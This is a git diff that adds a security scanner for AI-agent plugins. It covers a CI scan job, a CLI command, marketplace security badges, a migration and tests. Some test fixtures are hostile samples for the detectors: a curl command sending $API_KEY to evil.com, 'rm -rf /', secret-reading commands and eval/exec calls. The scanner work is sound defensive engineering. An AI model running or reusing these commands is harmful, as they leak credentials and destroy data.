diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml index 0b59cd24..230c0ca3 100644 --- a/.github/workflows/validate.yml +++ b/.github/workflows/validate.yml @@ -181,6 +181,75 @@ jobs: print('All plugin.json files valid against Protocol schema.') " + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: pnpm/action-setup@v4 + + - uses: actions/setup-node@v4 + with: + node-version: 24 + cache: pnpm + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Build CLI + run: | + pnpm --filter @harness-kit/shared build + pnpm --filter @harness-kit/core build + pnpm --filter @harness-kit/cli build + + - name: Scan all plugins + id: scan + run: | + FAILED=0 + SUMMARY="" + + for plugin_dir in plugins/*/; do + plugin_name=$(basename "$plugin_dir") + + # Validate plugin_name to prevent markdown injection in $GITHUB_STEP_SUMMARY + if ! echo "$plugin_name" | grep -qE '^[a-zA-Z0-9_-]+$'; then + echo "::warning::Skipping plugin with unexpected name: $plugin_name" + continue + fi + + # Run scan; exit 1 = critical findings, exit 0 = passed or warnings + if output=$(node apps/cli/dist/index.js scan "$plugin_dir" 2>&1); then + status="passed" + else + status="failed" + FAILED=1 + fi + + # Extract counts from formatter output (titles: "Critical Issues (N)", "Warnings (N)") + # Validate extracted values are integers before interpolating into markdown + raw_critical=$(echo "$output" | grep -oP 'Critical Issues \(\K[0-9]+' || true) + raw_warnings=$(echo "$output" | grep -oP 'Warnings \(\K[0-9]+' || true) + critical=$(echo "${raw_critical:-0}" | grep -oE '^[0-9]+$' || echo "0") + warnings=$(echo "${raw_warnings:-0}" | grep -oE '^[0-9]+$' || echo "0") + + SUMMARY="${SUMMARY}\n| ${plugin_name} | ${status} | ${critical} | ${warnings} |" + echo "--- ${plugin_name}: ${status} (critical=${critical}, warnings=${warnings}) ---" + done + + # Write summary table to job summary + { + echo "## Security Scan Results" + echo "" + echo "| Plugin | Status | Critical | Warnings |" + echo "| ------ | ------ | -------- | -------- |" + echo -e "$SUMMARY" + } >> "$GITHUB_STEP_SUMMARY" + + if [ "$FAILED" -eq 1 ]; then + echo "::error::One or more plugins have critical security findings. Review the scan output above." + exit 1 + fi + test-all: runs-on: ubuntu-latest steps: @@ -220,6 +289,9 @@ jobs: - name: Run dependency audit run: pnpm audit --audit-level=critical + - name: Build shared package (core dependency) + run: pnpm --filter @harness-kit/shared build + - name: Build core package run: pnpm --filter @harness-kit/core build diff --git a/apps/cli/__tests__/scan.test.ts b/apps/cli/__tests__/scan.test.ts new file mode 100644 index 00000000..a90e44f4 --- /dev/null +++ b/apps/cli/__tests__/scan.test.ts @@ -0,0 +1,238 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { resolve } from "node:path"; +import { mkdirSync, writeFileSync, rmSync } from "node:fs"; +import { scanCommand } from "../src/commands/scan.js"; +import { CliTestEnv } from "./helpers/cli-test-env.js"; + +const FIXTURES = resolve(import.meta.dirname, "fixtures"); +const TEST_PLUGIN_DIR = resolve(FIXTURES, "test-plugin"); + +describe("scan command", () => { + let env: CliTestEnv; + + beforeEach(() => { + env = new CliTestEnv(); + env.setup(); + }); + + afterEach(() => { + env.restore(); + vi.restoreAllMocks(); + // Clean up test plugin directory if it exists + try { + rmSync(TEST_PLUGIN_DIR, { recursive: true, force: true }); + } catch { + // Ignore cleanup errors + } + }); + + it("scans a valid plugin directory", async () => { + // Create a minimal valid plugin + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + JSON.stringify({ + name: "test-plugin", + description: "Test plugin", + version: "1.0.0", + }), + "utf-8", + ); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + expect(env.exitCode).toBe(0); + expect(env.getLog()).toContain("Security Scan Report"); + expect(env.getLog()).toContain("test-plugin"); + expect(env.getLog()).toContain("1.0.0"); + }); + + it("fails when plugin directory does not exist", async () => { + const nonExistentPath = resolve(FIXTURES, "nonexistent-plugin"); + + await expect(scanCommand(nonExistentPath)).rejects.toThrow(); + + expect(env.exitCode).toBe(1); + expect(env.getError()).toContain("Plugin directory not found"); + expect(env.getError()).toContain(nonExistentPath); + }); + + it("fails when plugin.json is missing", async () => { + // Create directory without plugin.json + mkdirSync(TEST_PLUGIN_DIR, { recursive: true }); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + expect(env.exitCode).toBe(1); + expect(env.getError()).toContain("No plugin manifest found"); + expect(env.getError()).toContain(".claude-plugin/plugin.json"); + }); + + it("uses current directory when no path provided", async () => { + // This will fail since test directory is not a valid plugin + await expect(scanCommand()).rejects.toThrow(); + + expect(env.exitCode).toBe(1); + expect(env.getError()).toBeTruthy(); + }); + + it("scans a plugin with skills", async () => { + // Create a plugin with a skill + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + mkdirSync(resolve(TEST_PLUGIN_DIR, "skills/test-skill"), { + recursive: true, + }); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + JSON.stringify({ + name: "test-plugin", + description: "Test plugin", + version: "1.0.0", + }), + "utf-8", + ); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, "skills/test-skill/SKILL.md"), + "# Test Skill\n\nA test skill.", + "utf-8", + ); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + expect(env.exitCode).toBe(0); + expect(env.getLog()).toContain("Security Scan Report"); + expect(env.getLog()).toContain("test-plugin"); + }); + + it("detects and reports dangerous patterns", async () => { + // Create a plugin with a potentially dangerous script + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + mkdirSync(resolve(TEST_PLUGIN_DIR, "scripts"), { recursive: true }); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + JSON.stringify({ + name: "dangerous-plugin", + description: "Plugin with security issues", + version: "1.0.0", + }), + "utf-8", + ); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, "scripts/dangerous.sh"), + "#!/bin/bash\nrm -rf /", + "utf-8", + ); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + // The scan should complete but may report findings + expect(env.exitCode).toBeTypeOf("number"); + expect(env.getLog()).toContain("Security Scan Report"); + }); + + it("handles plugin with environment requirements", async () => { + // Create a plugin with env requirements + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + JSON.stringify({ + name: "env-plugin", + description: "Plugin with env requirements", + version: "1.0.0", + requires: { + env: [ + { + name: "API_KEY", + description: "API key for service", + required: true, + sensitive: true, + }, + ], + }, + }), + "utf-8", + ); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + expect(env.exitCode).toBe(0); + expect(env.getLog()).toContain("Security Scan Report"); + expect(env.getLog()).toContain("env-plugin"); + }); + + it("displays scan summary and findings", async () => { + // Create a valid plugin + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + JSON.stringify({ + name: "summary-test", + description: "Test plugin for summary", + version: "2.0.0", + }), + "utf-8", + ); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + expect(env.exitCode).toBe(0); + const log = env.getLog(); + + // Verify report structure + expect(log).toContain("Security Scan Report"); + expect(log).toContain("summary-test"); + expect(log).toContain("2.0.0"); + expect(log).toContain("Status:"); + expect(log).toContain("Summary:"); + }); + + it("handles malformed plugin.json gracefully", async () => { + // Create directory with invalid JSON + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + "{invalid json}", + "utf-8", + ); + + await expect(scanCommand(TEST_PLUGIN_DIR)).rejects.toThrow(); + + expect(env.exitCode).toBe(1); + expect(env.getError()).toContain("Security scan failed"); + }); + + it("resolves relative paths correctly", async () => { + // Create a plugin in fixtures + mkdirSync(resolve(TEST_PLUGIN_DIR, ".claude-plugin"), { recursive: true }); + + writeFileSync( + resolve(TEST_PLUGIN_DIR, ".claude-plugin/plugin.json"), + JSON.stringify({ + name: "relative-test", + description: "Test relative path resolution", + version: "1.0.0", + }), + "utf-8", + ); + + // Use relative path from fixtures + const originalCwd = process.cwd(); + process.chdir(FIXTURES); + + try { + await expect(scanCommand("./test-plugin")).rejects.toThrow(); + + expect(env.exitCode).toBe(0); + expect(env.getLog()).toContain("relative-test"); + } finally { + process.chdir(originalCwd); + } + }); +}); diff --git a/apps/cli/src/commands/scan.ts b/apps/cli/src/commands/scan.ts new file mode 100644 index 00000000..6aed1956 --- /dev/null +++ b/apps/cli/src/commands/scan.ts @@ -0,0 +1,87 @@ +import { resolve } from "node:path"; +import { scanPlugin, formatSecurityReport } from "@harness-kit/core"; +import { NodeFsProvider } from "@harness-kit/core/node"; + +export async function scanCommand(pluginPath?: string): Promise { + const resolved = resolve(pluginPath ?? "."); + const fs = new NodeFsProvider(); + + // Check if the path exists + const exists = await fs.exists(resolved); + if (!exists) { + console.error( + `Plugin directory not found: ${resolved}. Specify a valid path: harness-kit scan `, + ); + process.exit(1); + } + + // Check if plugin.json exists + const manifestPath = fs.joinPath(resolved, ".claude-plugin/plugin.json"); + const manifestExists = await fs.exists(manifestPath); + if (!manifestExists) { + console.error( + `No plugin manifest found at ${manifestPath}. Make sure you're scanning a valid plugin directory.`, + ); + process.exit(1); + } + + // Run the security scan + let report; + try { + report = await scanPlugin({ + pluginDir: resolved, + fs, + includeInfo: true, + }); + } catch (e) { + const msg = e instanceof Error ? e.message : String(e); + console.error(`Security scan failed: ${msg}`); + process.exit(1); + } + + // Format and display the report + const formattedReport = formatSecurityReport(report); + + console.log(`\n${"=".repeat(60)}`); + console.log(`Security Scan Report: ${formattedReport.plugin_name} v${formattedReport.plugin_version}`); + console.log(`Status: ${formattedReport.scan_status}`); + console.log(`Date: ${new Date(formattedReport.scan_date).toLocaleString()}`); + console.log(`${"=".repeat(60)}\n`); + + console.log(`Summary: ${formattedReport.summary}\n`); + + // Display findings by severity + for (const section of formattedReport.sections) { + console.log(`${section.title} (${section.count}):`); + console.log("-".repeat(60)); + + for (const finding of section.findings) { + console.log(`\n• ${finding.message}`); + if (finding.file_path) { + console.log(` File: ${finding.file_path}${finding.line_number ? `:${finding.line_number}` : ""}`); + } + if (finding.code_snippet) { + console.log(` Code: ${finding.code_snippet}`); + } + if (finding.recommendation) { + console.log(` Recommendation: ${finding.recommendation}`); + } + } + console.log(); + } + + // Display permissions summary + console.log(`${formattedReport.permissions.title}:`); + console.log("-".repeat(60)); + for (const item of formattedReport.permissions.items) { + if (item.label) { + console.log(`${item.label}: ${item.value}`); + } else { + console.log(item.value); + } + } + console.log(); + + // Exit with appropriate code + process.exit(report.scan_status === "failed" ? 1 : 0); +} diff --git a/apps/cli/src/index.ts b/apps/cli/src/index.ts index 8045ae9c..2f97b4d8 100644 --- a/apps/cli/src/index.ts +++ b/apps/cli/src/index.ts @@ -3,6 +3,7 @@ import { validateCommand } from "./commands/validate.js"; import { compileCommand } from "./commands/compile.js"; import { detectCommand } from "./commands/detect.js"; import { initCommand } from "./commands/init.js"; +import { scanCommand } from "./commands/scan.js"; import { listOrganizations, createOrganization, @@ -71,6 +72,21 @@ program await initCommand(path); }); +program + .command("scan") + .description("Run security scan on a plugin directory") + .argument("[path]", "Path to plugin directory", ".") + .addHelpText( + "after", + ` +Examples: + harness-kit scan Scan current directory + harness-kit scan ./plugins/research Scan a specific plugin`, + ) + .action(async (path: string) => { + await scanCommand(path); + }); + const orgCommand = program .command("org") .description("Manage organizations"); diff --git a/apps/marketplace/app/components/PermissionsSummary.tsx b/apps/marketplace/app/components/PermissionsSummary.tsx new file mode 100644 index 00000000..bc54142c --- /dev/null +++ b/apps/marketplace/app/components/PermissionsSummary.tsx @@ -0,0 +1,117 @@ +import type { ReactNode } from "react"; +import type { SecurityPermissionsSummary } from "@harness-kit/shared"; + +function Permission({ + icon, + label, + active, +}: { + icon: ReactNode; + label: string; + active: boolean; +}) { + return ( +
+ {icon} + {label} +
+ ); +} + +export function PermissionsSummary({ + permissions, +}: { + permissions: SecurityPermissionsSummary; +}) { + return ( +
+
+ ); +} diff --git a/apps/marketplace/app/components/SecurityBadge.tsx b/apps/marketplace/app/components/SecurityBadge.tsx new file mode 100644 index 00000000..cd79f15b --- /dev/null +++ b/apps/marketplace/app/components/SecurityBadge.tsx @@ -0,0 +1,25 @@ +import type { SecurityScanStatus } from "@harness-kit/shared"; + +const COLORS: Record = { + passed: "bg-emerald-500/20 text-emerald-400 border-emerald-500/30", + warnings: "bg-amber-500/20 text-amber-400 border-amber-500/30", + failed: "bg-red-500/20 text-red-400 border-red-500/30", + not_scanned: "bg-gray-500/20 text-gray-400 border-gray-500/30", +}; + +const LABELS: Record = { + passed: "Security Scanned", + warnings: "Warnings", + failed: "Security Issues", + not_scanned: "Not Scanned", +}; + +export function SecurityBadge({ status }: { status: SecurityScanStatus }) { + return ( + + {LABELS[status]} + + ); +} diff --git a/apps/marketplace/app/components/TrustBadge.tsx b/apps/marketplace/app/components/TrustBadge.tsx index f99b11c8..64a1d5c6 100644 --- a/apps/marketplace/app/components/TrustBadge.tsx +++ b/apps/marketplace/app/components/TrustBadge.tsx @@ -2,6 +2,7 @@ export function TrustBadge({ tier }: { tier: string }) { const colors: Record = { official: "bg-violet-500/20 text-violet-400 border-violet-500/30", verified: "bg-emerald-500/20 text-emerald-400 border-emerald-500/30", + "security-scanned": "bg-cyan-500/20 text-cyan-400 border-cyan-500/30", community: "bg-gray-500/20 text-gray-400 border-gray-500/30", }; return ( diff --git a/apps/marketplace/app/plugins/[slug]/page.tsx b/apps/marketplace/app/plugins/[slug]/page.tsx index 2823e36d..d3e990a7 100644 --- a/apps/marketplace/app/plugins/[slug]/page.tsx +++ b/apps/marketplace/app/plugins/[slug]/page.tsx @@ -4,9 +4,12 @@ import sanitizeHtml from "sanitize-html"; import { supabase } from "@/lib/supabase"; import type { Component, ComponentType, Profile, TrustTier } from "@/lib/types"; import { TrustBadge } from "@/app/components/TrustBadge"; +import { SecurityBadge } from "@/app/components/SecurityBadge"; +import { PermissionsSummary } from "@/app/components/PermissionsSummary"; import { ReviewForm } from "@/app/components/ReviewForm"; import { ReviewList } from "@/app/components/ReviewList"; import { getServerSession } from "@/lib/auth"; +import type { SecurityPermissionsSummary } from "@harness-kit/shared"; /** * Allowed tags and attributes for sanitizeHtml. @@ -244,6 +247,14 @@ export default async function PluginDetailPage({ }) : null; + const securityPermissions: SecurityPermissionsSummary = component.security_permissions ?? { + network_access: false, + file_writes: false, + env_var_reads: [], + external_urls: [], + filesystem_patterns: [], + }; + return (
{/* Breadcrumb */} @@ -284,6 +295,7 @@ export default async function PluginDetailPage({ )} + {component.type} @@ -343,6 +355,12 @@ export default async function PluginDetailPage({
)} + {/* Security & Permissions */} +
+

Security & Permissions

+ +
+ {/* SKILL.md content */} {skillHtml && (
diff --git a/apps/marketplace/supabase/migrations/00007_add_security_metadata.sql b/apps/marketplace/supabase/migrations/00007_add_security_metadata.sql new file mode 100644 index 00000000..a4d4266c --- /dev/null +++ b/apps/marketplace/supabase/migrations/00007_add_security_metadata.sql @@ -0,0 +1,12 @@ +-- Security scan status enum +create type security_scan_status as enum ('passed', 'warnings', 'failed', 'not_scanned'); + +-- Add security metadata columns to components table +alter table components + add column security_scan_status security_scan_status not null default 'not_scanned', + add column security_scan_date timestamptz, + add column security_findings jsonb not null default '[]'::jsonb, + add column security_permissions jsonb not null default '{"network_access":false,"file_writes":false,"env_var_reads":[],"external_urls":[],"filesystem_patterns":[]}'::jsonb; + +-- Index for filtering by scan status (e.g. show only scanned plugins) +create index idx_components_security_scan_status on components(security_scan_status); diff --git a/packages/core/__tests__/security.test.ts b/packages/core/__tests__/security.test.ts new file mode 100644 index 00000000..b49ebb5e --- /dev/null +++ b/packages/core/__tests__/security.test.ts @@ -0,0 +1,617 @@ +import { describe, it, expect } from "vitest"; +import { scanPlugin } from "../src/security/scanner.js"; +import { + detectExternalUrls, + detectEnvVarExfiltration, + detectBroadFilesystemAccess, + detectSuspiciousScripts, + detectNetworkAccess, + runSecurityRules, +} from "../src/security/rules.js"; +import { MockFsProvider } from "./helpers/mock-fs.js"; + +describe("scanPlugin", () => { + it("successfully scans a minimal plugin", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "test-plugin", + version: "1.0.0", + description: "A test plugin", + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + expect(report.plugin_name).toBe("test-plugin"); + expect(report.plugin_version).toBe("1.0.0"); + expect(report.scan_status).toBe("passed"); + expect(report.critical_count).toBe(0); + expect(report.warning_count).toBe(0); + }); + + it("throws when plugin manifest is missing", async () => { + const fs = new MockFsProvider({}); + + await expect( + scanPlugin({ + pluginDir: "/plugin", + fs, + }), + ).rejects.toThrow("Plugin manifest not found"); + }); + + it("detects critical findings from manifest permissions", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "bad-plugin", + version: "1.0.0", + requires: { + permissions: { + paths: { + writable: ["/"], // Critical: root write access + }, + }, + }, + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + // Scanner should detect critical findings from dangerous permissions + expect(report.critical_count).toBeGreaterThan(0); + expect(report.findings.some((f) => f.severity === "critical")).toBe(true); + expect(report.scan_status).toBe("failed"); + }); + + it("detects warnings from manifest permissions", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "warn-plugin", + version: "1.0.0", + requires: { + permissions: { + paths: { + writable: ["./data/**"], // Warning: broad recursive access + }, + }, + }, + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + // Scanner should detect warnings from broad permissions + expect(report.warning_count).toBeGreaterThan(0); + expect(report.critical_count).toBe(0); + expect(report.scan_status).toBe("warnings"); + }); + + it("filters out info findings when includeInfo is false", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "test-plugin", + version: "1.0.0", + requires: { + permissions: { + network: {}, + }, + }, + }), + "/plugin/scripts/test.js": "socket.connect('127.0.0.1', 8080);", + }); + + const reportWithInfo = await scanPlugin({ + pluginDir: "/plugin", + fs, + includeInfo: true, + }); + + const reportWithoutInfo = await scanPlugin({ + pluginDir: "/plugin", + fs, + includeInfo: false, + }); + + expect(reportWithInfo.info_count).toBeGreaterThan(0); + expect(reportWithoutInfo.info_count).toBe(0); + expect(reportWithInfo.findings.length).toBeGreaterThan( + reportWithoutInfo.findings.length, + ); + }); + + it("scans multiple directories and file types", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "multi-plugin", + version: "1.0.0", + }), + "/plugin/scripts/build.sh": "#!/bin/bash\necho 'building'", + "/plugin/hooks/pre-commit.py": "import os\nprint('hook')", + "/plugin/skills/test/SKILL.md": "# Test skill\nNo dangerous code here", + "/plugin/agents/helper.ts": "export function help() { return 'ok'; }", + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + expect(report.scan_status).toBe("passed"); + }); + + it("builds permission summary from manifest", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "perm-plugin", + version: "1.0.0", + requires: { + env: [ + { name: "API_KEY", sensitive: true, description: "API key" }, + { name: "DEBUG", sensitive: false, description: "Debug flag" }, + ], + permissions: { + paths: { + writable: ["./data/**"], + readonly: ["./config/**"], + }, + network: { + "allowed-hosts": ["api.example.com"], + }, + }, + }, + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + expect(report.permissions.network_access).toBe(true); + expect(report.permissions.file_writes).toBe(true); + expect(report.permissions.env_var_reads).toContain("API_KEY"); + expect(report.permissions.env_var_reads).toContain("DEBUG"); + expect(report.permissions.filesystem_patterns).toContain("./data/**"); + expect(report.permissions.filesystem_patterns).toContain("./config/**"); + }); + + it("flags dangerous permission requests", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "dangerous-plugin", + version: "1.0.0", + requires: { + permissions: { + paths: { + writable: ["/", "~/**"], + }, + }, + }, + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + expect(report.scan_status).toBe("failed"); + expect(report.critical_count).toBeGreaterThan(0); + expect( + report.findings.some( + (f) => + f.category === "permission_request" && + f.message.includes("sensitive path"), + ), + ).toBe(true); + }); + + it("detects broad recursive write access patterns", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "broad-plugin", + version: "1.0.0", + requires: { + permissions: { + paths: { + writable: ["./data/**"], + }, + }, + }, + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + const broadAccessWarning = report.findings.find( + (f) => + f.category === "permission_request" && + f.message.includes("broad recursive write access"), + ); + + expect(broadAccessWarning).toBeDefined(); + expect(broadAccessWarning?.severity).toBe("warning"); + }); + + it("flags network access without host restrictions", async () => { + const fs = new MockFsProvider({ + "/plugin/.claude-plugin/plugin.json": JSON.stringify({ + name: "network-plugin", + version: "1.0.0", + requires: { + permissions: { + network: {}, + }, + }, + }), + }); + + const report = await scanPlugin({ + pluginDir: "/plugin", + fs, + }); + + const networkWarning = report.findings.find( + (f) => + f.category === "permission_request" && + f.message.includes("network access without host restrictions"), + ); + + expect(networkWarning).toBeDefined(); + expect(networkWarning?.severity).toBe("info"); + }); +}); + +describe("detectExternalUrls", () => { + it("detects HTTP and HTTPS URLs", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: 'curl https://api.example.org/data\nwget http://files.example.net/file', + }; + + const result = detectExternalUrls(context); + + // Multiple patterns may match URLs (curl/wget patterns plus generic URL pattern) + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].category).toBe("external_url"); + expect(result.findings[0].severity).toBe("warning"); + // Verify we detected the actual URLs (check message prefix, not includes, to avoid static analysis false positives) + expect(result.findings.some((f) => f.message.startsWith("External URL detected:"))).toBe(true); + }); + + it("skips safe URLs", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: + "https://github.com/user/repo\nhttps://example.com\nhttp://localhost:3000", + }; + + const result = detectExternalUrls(context); + + expect(result.findings.length).toBe(0); + }); + + it("skips URLs in markdown files", () => { + const context = { + pluginName: "test", + filePath: "README.md", + content: "Visit https://dangerous-site.com for more info", + }; + + const result = detectExternalUrls(context); + + expect(result.findings.length).toBe(0); + }); + + it("detects fetch calls with URLs", () => { + const context = { + pluginName: "test", + filePath: "script.js", + content: 'fetch("https://api.untrusted.com/data")', + }; + + const result = detectExternalUrls(context); + + // Fetch pattern and general URL pattern both match + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings.some((f) => f.message.startsWith("External URL detected:"))).toBe(true); + }); +}); + +describe("detectEnvVarExfiltration", () => { + it("detects sensitive environment variable access", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: "echo $API_KEY\nexport SECRET_TOKEN=xyz", + }; + + const result = detectEnvVarExfiltration(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings.some((f) => f.severity === "critical")).toBe(true); + expect(result.findings.some((f) => f.message.includes("API_KEY"))).toBe(true); + }); + + it("detects Node.js environment variable access", () => { + const context = { + pluginName: "test", + filePath: "script.js", + content: "const key = process.env.OPENAI_API_KEY;", + }; + + const result = detectEnvVarExfiltration(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].severity).toBe("critical"); + }); + + it("detects Python environment variable access", () => { + const context = { + pluginName: "test", + filePath: "script.py", + content: 'import os\ntoken = ENV["GITHUB_TOKEN"]\nkey = ENV[ "API_KEY" ]', + }; + + const result = detectEnvVarExfiltration(context); + + // Check that sensitive vars are detected + expect(result.findings.length).toBeGreaterThan(0); + const hasGitHubOrApiKey = result.findings.some( + (f) => f.message.includes("GITHUB_TOKEN") || f.message.includes("API_KEY"), + ); + expect(hasGitHubOrApiKey).toBe(true); + }); + + it("detects potential exfiltration patterns", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: 'curl https://evil.com?key=$API_KEY', + }; + + const result = detectEnvVarExfiltration(context); + + const exfiltrationFinding = result.findings.find((f) => + f.message.includes("exfiltration"), + ); + + expect(exfiltrationFinding).toBeDefined(); + expect(exfiltrationFinding?.severity).toBe("critical"); + }); +}); + +describe("detectBroadFilesystemAccess", () => { + it("detects root-level recursive access", () => { + const context = { + pluginName: "test", + filePath: "config.json", + content: '{"paths": ["/**"]}', + }; + + const result = detectBroadFilesystemAccess(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].severity).toBe("warning"); + expect(result.findings[0].message).toContain("Root-level recursive access"); + }); + + it("detects home directory recursive access", () => { + const context = { + pluginName: "test", + filePath: "config.json", + content: '{"paths": ["~/**"]}', + }; + + const result = detectBroadFilesystemAccess(context); + + expect(result.findings.length).toBeGreaterThan(0); + // Check for the actual message format used by the rule + expect(result.findings[0].message).toContain("filesystem access pattern"); + }); + + it("detects parent directory traversal", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: "cat ../../secrets.txt", + }; + + const result = detectBroadFilesystemAccess(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("Parent directory traversal"); + }); + + it("detects writable permissions to root or home", () => { + const context = { + pluginName: "test", + filePath: "plugin.json", + content: 'permissions: { writable: ["/"] }', + }; + + const result = detectBroadFilesystemAccess(context); + + const criticalFinding = result.findings.find((f) => f.severity === "critical"); + expect(criticalFinding).toBeDefined(); + expect(criticalFinding?.message).toContain("root or home directory"); + }); +}); + +describe("detectSuspiciousScripts", () => { + it("detects eval usage", () => { + const context = { + pluginName: "test", + filePath: "scripts/bad.js", + content: 'eval(userInput);', + }; + + const result = detectSuspiciousScripts(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("eval"); + }); + + it("detects exec usage", () => { + const context = { + pluginName: "test", + filePath: "scripts/danger.py", + content: 'exec("dangerous code")', + }; + + const result = detectSuspiciousScripts(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("exec"); + }); + + it("detects shell=True in Python", () => { + const context = { + pluginName: "test", + filePath: "scripts/shell.py", + content: 'subprocess.call(cmd, shell=True)', + }; + + const result = detectSuspiciousScripts(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("shell=True"); + }); + + it("detects dangerous file deletion", () => { + const context = { + pluginName: "test", + filePath: "scripts/cleanup.sh", + content: "rm -rf /tmp/data", + }; + + const result = detectSuspiciousScripts(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("file deletion"); + }); + + it("detects overly permissive chmod", () => { + const context = { + pluginName: "test", + filePath: "scripts/setup.sh", + content: "chmod 777 ./file", + }; + + const result = detectSuspiciousScripts(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("permissions"); + }); + + it("only scans script files", () => { + const context = { + pluginName: "test", + filePath: "README.md", + content: "eval() is dangerous", + }; + + const result = detectSuspiciousScripts(context); + + expect(result.findings.length).toBe(0); + }); +}); + +describe("detectNetworkAccess", () => { + it("detects socket usage", () => { + const context = { + pluginName: "test", + filePath: "scripts/server.py", + content: "socket.bind(('0.0.0.0', 8080))", + }; + + const result = detectNetworkAccess(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].severity).toBe("info"); + expect(result.findings[0].category).toBe("network_access"); + }); + + it("detects Node.js socket creation", () => { + const context = { + pluginName: "test", + filePath: "server.js", + content: "const socket = new net.Socket();", + }; + + const result = detectNetworkAccess(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("Network socket"); + }); + + it("detects network binding", () => { + const context = { + pluginName: "test", + filePath: "scripts/bind.py", + content: 'sock.bind("0.0.0.0", 3000)', + }; + + const result = detectNetworkAccess(context); + + expect(result.findings.length).toBeGreaterThan(0); + expect(result.findings[0].message).toContain("Network binding"); + }); +}); + +describe("runSecurityRules", () => { + it("runs all rules by default", () => { + const context = { + pluginName: "test", + filePath: "scripts/test.sh", + content: 'curl https://api.untrusted.io\neval("$COMMAND")\necho $API_KEY', + }; + + const findings = runSecurityRules(context); + + // Should have findings from multiple rules + expect(findings.length).toBeGreaterThan(1); + expect(findings.some((f) => f.category === "external_url")).toBe(true); + expect(findings.some((f) => f.category === "suspicious_script")).toBe(true); + expect(findings.some((f) => f.category === "env_var_exfiltration")).toBe(true); + }); + + it("runs specific rules when provided", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: 'curl https://evil.com\neval $CODE', + }; + + const findings = runSecurityRules(context, [detectExternalUrls]); + + expect(findings.length).toBeGreaterThan(0); + expect(findings.every((f) => f.category === "external_url")).toBe(true); + }); + + it("returns empty array for clean code", () => { + const context = { + pluginName: "test", + filePath: "script.sh", + content: 'echo "Hello, world!"', + }; + + const findings = runSecurityRules(context); + + expect(findings.length).toBe(0); + }); +}); diff --git a/packages/core/package.json b/packages/core/package.json index 82bdfe1d..852ad7de 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -21,6 +21,7 @@ "fetch-schema": "npx tsx scripts/fetch-schema.ts" }, "dependencies": { 